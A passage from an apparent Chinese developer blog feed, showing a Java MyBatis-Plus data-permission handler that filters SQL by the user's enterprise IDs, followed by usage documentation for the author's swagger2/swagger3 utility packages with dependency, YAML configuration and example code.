class="line"><span class="keyword">import</span> cn.allbs.mybatis.utils.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableFieldInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfoHelper;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.InExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.insert.Insert;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.update.Update;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.ParameterMapping;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Optional;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 CustomPermissionHandler</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomPermissionHandler</span> <span class="keyword">implements</span> <span class="title class_">DataPmsHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">DEFAULT_FILTER_FIELD</span> <span class="operator">=</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取数据权限 SQL 片段</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> where             待执行 SQL Where 条件表达式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatementId Mybatis MappedStatement Id 根据该参数可以判断具体执行方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> JSqlParser 条件表达式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Expression <span class="title function_">getSqlSegment</span><span class="params">(<span class="keyword">final</span> Table table, Expression where, String mappedStatementId)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 在有权限的情况下查询用户所关联的企业列表</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行，执行原sql</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> where;</span><br><span class="line">        &#125;</span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"><span class="comment">//        if (permissionEntList.size() == 0) &#123;</span></span><br><span class="line"><span class="comment">//            return where;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(table.getName());</span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> tableInfo.getFieldList().stream()</span><br><span class="line">                .filter(a -&gt; a.getField().getAnnotation(ScopeField.class) != <span class="literal">null</span>)</span><br><span class="line">                .map(a -&gt; a.getField().getAnnotation(ScopeField.class).value())</span><br><span class="line">                .findFirst()</span><br><span class="line">                .orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> table.getAlias();</span><br><span class="line">        <span class="type">String</span> <span class="variable">finalFieldName</span> <span class="operator">=</span> Optional.ofNullable(fromItemAlias).map(a -&gt; a.getName() + StringPool.DOT + fieldName).orElse(fieldName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (permissionEntList.size() &gt; <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 把集合转变为 JSQLParser需要的元素列表</span></span><br><span class="line">            <span class="type">InExpression</span> <span class="variable">inExpression</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InExpression</span>(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName), PluginUtils.getItemList(permissionEntList));</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 组装sql</span></span><br><span class="line">            <span class="keyword">return</span> where == <span class="literal">null</span> ? inExpression : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, inExpression);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 设置where</span></span><br><span class="line">        <span class="type">EqualsTo</span> <span class="variable">equalsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">        equalsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName));</span><br><span class="line">        equalsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(permissionEntList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">        <span class="keyword">return</span> where == <span class="literal">null</span> ? equalsTo : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, equalsTo);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateParameter</span><span class="params">(Update updateStmt, MappedStatement mappedStatement, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(updateStmt.getTable().getName());</span><br><span class="line">        parameterHandler(tableInfo.getFieldList(), boundSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">insertParameter</span><span class="params">(Insert insertStmt, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(insertStmt.getTable().getName());</span><br><span class="line">        parameterHandler(tableInfo.getFieldList(), boundSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">parameterHandler</span><span class="params">(List&lt;TableFieldInfo&gt; fieldList, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="comment">// 过滤数据</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果当前用户是超级管理员，不处理,根据自己系统实际情况去判断</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser.getId() == <span class="number">1L</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 获取当前用户所具备的ent_id</span></span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取当前表中需要权限过滤的字段名称</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> fieldList.stream()</span><br><span class="line">                .filter(a -&gt; a.getField().getAnnotation(ScopeField.class) != <span class="literal">null</span>)</span><br><span class="line">                .map(a -&gt; a.getField().getAnnotation(ScopeField.class).value())</span><br><span class="line">                .findFirst()</span><br><span class="line">                .orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line"></span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(boundSql.getParameterObject());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (ParameterMapping parameterMapping : boundSql.getParameterMappings()) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">propertyName</span> <span class="operator">=</span> parameterMapping.getProperty();</span><br><span class="line">            <span class="keyword">if</span> (propertyName.startsWith(<span class="string">&quot;ew.paramNameValuePairs&quot;</span>)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            String[] arr = propertyName.split(<span class="string">&quot;\\.&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">propertyNameTrim</span> <span class="operator">=</span> arr[arr.length - <span class="number">1</span>].replace(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;&quot;</span>).toUpperCase();</span><br><span class="line">            <span class="keyword">if</span> (fieldName.replaceAll(<span class="string">&quot;[._\\-$]&quot;</span>, <span class="string">&quot;&quot;</span>).toUpperCase().equals(propertyNameTrim)) &#123;</span><br><span class="line">                <span class="keyword">if</span> (!Optional.ofNullable(metaObject.getValue(propertyName)).isPresent()) &#123;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="type">long</span> <span class="variable">currentEntId</span> <span class="operator">=</span> Long.parseLong(metaObject.getValue(propertyName).toString());</span><br><span class="line">                <span class="comment">// 判断是否在权限范围内</span></span><br><span class="line">                <span class="keyword">if</span> (permissionEntList.contains(currentEntId)) &#123;</span><br><span class="line">                    metaObject.setValue(propertyName, currentEntId);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="comment">// 我这边是直接抛出异常，所有sql语句会直接回滚可以选择其他办法如： 使用当前用户的ent_id 替换插入值 or 直接忽略当前插入sql但不抛出异常</span></span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UserOverreachException</span>();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="源码">源码</h4><p><a href="https://github.com/chenqi92/allbs-mybatis">github</a></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - mybatis-plus，日志自定义格式化。数据权限实现，防止出现水平越权和垂直越权的情况。</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="mybatis-plus" scheme="https://blog.allbs.cn/tags/mybatis-plus/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - swagger</title>
    <link href="https://blog.allbs.cn/posts/56471/"/>
    <id>https://blog.allbs.cn/posts/56471/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h1>swagger2</h1><h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>springfox-swagger2</td><td>3.0.0</td></tr><tr><td>swagger-annotations</td><td>1.5.24</td></tr><tr><td>swagger-models</td><td>1.5.24</td></tr><tr><td>knife4j-spring-ui</td><td>2.0.8</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-swagger<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-swagger:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-swagger:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="开启swagger功能">开启swagger功能</h3><p>启动类添加<code>@EnableAllbsSwagger2</code>注解</p><h3 id="过滤uri不映射出来">过滤uri不映射出来</h3><p>如果使用了通用包中的<code>@AllbsResponseAdvice</code>包装了返回结果则需要添加以下配置</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">ignore:</span></span><br><span class="line">  <span class="attr">urls:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/swagger-resources</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/v2/api-docs</span></span><br></pre></td></tr></table></figure><h3 id="swagger2配置说明（根据自己实际情况配置）">swagger2配置说明（根据自己实际情况配置）</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">swagger:</span></span><br><span class="line">  <span class="comment"># base-package 必须配置以扫描controller包</span></span><br><span class="line">  <span class="attr">base-package:</span> <span class="string">cn.allbs.swagger.controller</span></span><br><span class="line">  <span class="attr">title:</span> <span class="string">标题dev</span></span><br><span class="line">  <span class="attr">description:</span> <span class="string">标题dev</span></span><br><span class="line">  <span class="attr">version:</span> <span class="number">1.0</span></span><br><span class="line">  <span class="attr">term-service-url:</span> <span class="string">termUrl</span></span><br><span class="line">  <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">  <span class="attr">contact:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">这是name</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">这是url</span></span><br><span class="line">    <span class="attr">email:</span> <span class="string">xx@xx.com</span></span><br><span class="line">  <span class="comment"># 权限头header中的配置，如果需要在header中添加token检验，则添加以下配置，auth的默认值为Authorization</span></span><br><span class="line">  <span class="attr">auth:</span> <span class="string">token</span></span><br><span class="line">  <span class="comment"># 不添加权限头的接口prefix配置列表</span></span><br><span class="line">  <span class="attr">ignore-prefix:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/user</span></span><br></pre></td></tr></table></figure><h3 id="效果说明">效果说明</h3><h4 id="没有配置在ignore-prefix中的效果">没有配置在ignore-prefix中的效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/28496509d35266b50e89907d44928313.png" alt="image-20220809101752370"></p><h4 id="配置中存在ignore-prefix中的效果">配置中存在ignore-prefix中的效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/127bc9a375c68bbf4012c3b95f667aef.png" alt="image-20220809101831673"></p><h3 id="备注">备注</h3><mark class="hl-label blue">swagger</mark>配置设置为仅在<mark class="hl-label orange">profiles</mark>为<mark class="hl-label red">dev</mark>以及<mark class="hl-label red">test</mark>的配置中生效，其他一律不生效<h3 id="访问地址">访问地址</h3><p>http://{ip}:{port}/doc.html</p><h3 id="其他说明">其他说明</h3><p>如果服务配置端口为<code>6666</code>,<code>6667</code>等部分端口ui界面无法访问，暂未查出原因</p><h3 id="代码示例">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@ApiModel(value = &quot;swagger类&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SwaggerEntity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;时间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime time;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;名称&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;计数&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.swagger.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.utils.R;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.swagger.entity.SwaggerEntity;</span><br><span class="line"><span class="keyword">import</span> io.swagger.annotations.*;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 TestNoAuthController</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/8/9 9:49</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Api(tags = &quot;这是类的作用&quot;, value = &quot;没啥用的&quot;)</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;user&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestNoAuthController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;方法的用途&quot;, notes = &quot;方法的备注说明&quot;)</span></span><br><span class="line">    <span class="meta">@ApiImplicitParams(&#123;</span></span><br><span class="line"><span class="meta">            @ApiImplicitParam(name = &quot;名称&quot;, value = &quot;这是名称的注释&quot;, required = true, paramType = &quot;query&quot;, dataType = &quot;String&quot;, dataTypeClass = String.class, defaultValue = &quot;这是默认值&quot;),</span></span><br><span class="line"><span class="meta">            @ApiImplicitParam(name = &quot;计数&quot;, value = &quot;这是技术的注释&quot;, required = false, paramType = &quot;query&quot;, dataType = &quot;Integer&quot;, dataTypeClass = Integer.class, defaultValue = &quot;22&quot;),</span></span><br><span class="line"><span class="meta">    &#125;)</span></span><br><span class="line">    <span class="meta">@ApiResponses(&#123;</span></span><br><span class="line"><span class="meta">            @ApiResponse(code = 200, message = &quot;名称&quot;, reference = &quot;name&quot;, response = String.class),</span></span><br><span class="line"><span class="meta">            @ApiResponse(code = 200, message = &quot;时间&quot;, reference = &quot;time&quot;, response = LocalDateTime.class),</span></span><br><span class="line"><span class="meta">            @ApiResponse(code = 200, message = &quot;计数&quot;, reference = &quot;count&quot;, response = Integer.class)</span></span><br><span class="line"><span class="meta">    &#125;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;swaggerTest&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> R&lt;SwaggerEntity&gt; <span class="title function_">swaggerTest</span><span class="params">(String name, Integer count)</span> &#123;</span><br><span class="line">        <span class="type">SwaggerEntity</span> <span class="variable">swaggerEntity</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SwaggerEntity</span>();</span><br><span class="line">        swaggerEntity.setName(name);</span><br><span class="line">        swaggerEntity.setTime(LocalDateTime.now());</span><br><span class="line">        swaggerEntity.setCount(count);</span><br><span class="line">        <span class="keyword">return</span> R.ok(swaggerEntity);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1>swagger3</h1><h2 id="依赖jar包-2">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>knife4j-springdoc-ui</td><td>3.0.3</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr><tr><td>springfox-boot-starter</td><td>3.0.0</td></tr></tbody></table><h2 id="使用-2">使用</h2><h3 id="添加依赖-2">添加依赖</h3><h4 id="maven">maven</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-swagger3<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="Gradle">Gradle</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-swagger3:2.0.1&#x27;</span><br></pre></td></tr></table></figure><h3 id="开启swagger功能-2">开启swagger功能</h3><p>启动类添加<code>@EnableAllbsSwagger3</code>注解</p><h3 id="过滤uri不映射出来-2">过滤uri不映射出来</h3><p>如果使用了通用包中的<code>@AllbsResponseAdvice</code>包装了返回结果则需要添加以下配置</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">ignore:</span></span><br><span class="line">  <span class="attr">urls:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/v3/api-docs</span></span><br></pre></td></tr></table></figure><h3 id="swagger2配置说明（根据自己实际情况配置）-2">swagger2配置说明（根据自己实际情况配置）</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">swagger:</span></span><br><span class="line">  <span class="attr">title:</span> <span class="string">springDoc文档</span></span><br><span class="line">  <span class="attr">description:</span> <span class="string">这是springdoc文档说明</span></span><br><span class="line">  <span class="attr">version:</span> <span class="number">1.0</span></span><br><span class="line">  <span class="attr">securitySchemes:</span></span><br><span class="line">    <span class="attr">token:</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">APIKEY</span>  <span class="comment"># 类型</span></span><br><span class="line">      <span class="attr">in:</span> <span class="string">HEADER</span>    <span class="comment"># 放header里面</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">token</span> <span class="comment"># header-key</span></span><br><span class="line">  <span class="attr">servers:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">url:</span> <span class="string">http://127.0.0.1:8888</span> <span class="comment"># 自定义服务器 URL，如部署在docker中时可以配置</span></span><br><span class="line">      <span class="attr">description:</span> <span class="string">本地服务器</span></span><br></pre></td></tr></table></figure><h3 id="备注-2">备注</h3><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">springdoc:</span></span><br><span class="line">  <span class="attr">api-docs:</span></span><br><span class="line">    <span class="comment"># 通过此处关闭生产环境的api-docs</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">false</span></span><br><span class="line">  <span class="comment"># 配置需要生成接口文档的扫描包</span></span><br><span class="line">  <span class="attr">packages-to-scan:</span> <span class="string">cn.allbs.swagger.controller</span></span><br><span class="line">  <span class="comment"># 配置需要生成接口文档的接口路径，如果增加了该节点，那么只将/user开头的接口文档生成出来</span></span><br><span class="line">  <span class="attr">paths-to-match:</span> <span class="string">/user/**</span></span><br></pre></td></tr></table></figure><h3 id="访问地址-2">访问地址</h3><p>http://{ip}:{port}/doc.html</p><h3 id="使用示例">使用示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.swagger.entity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> io.swagger.v3.oas.annotations.media.Schema;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 SwaggerEntity</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/8/8 15:24</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span 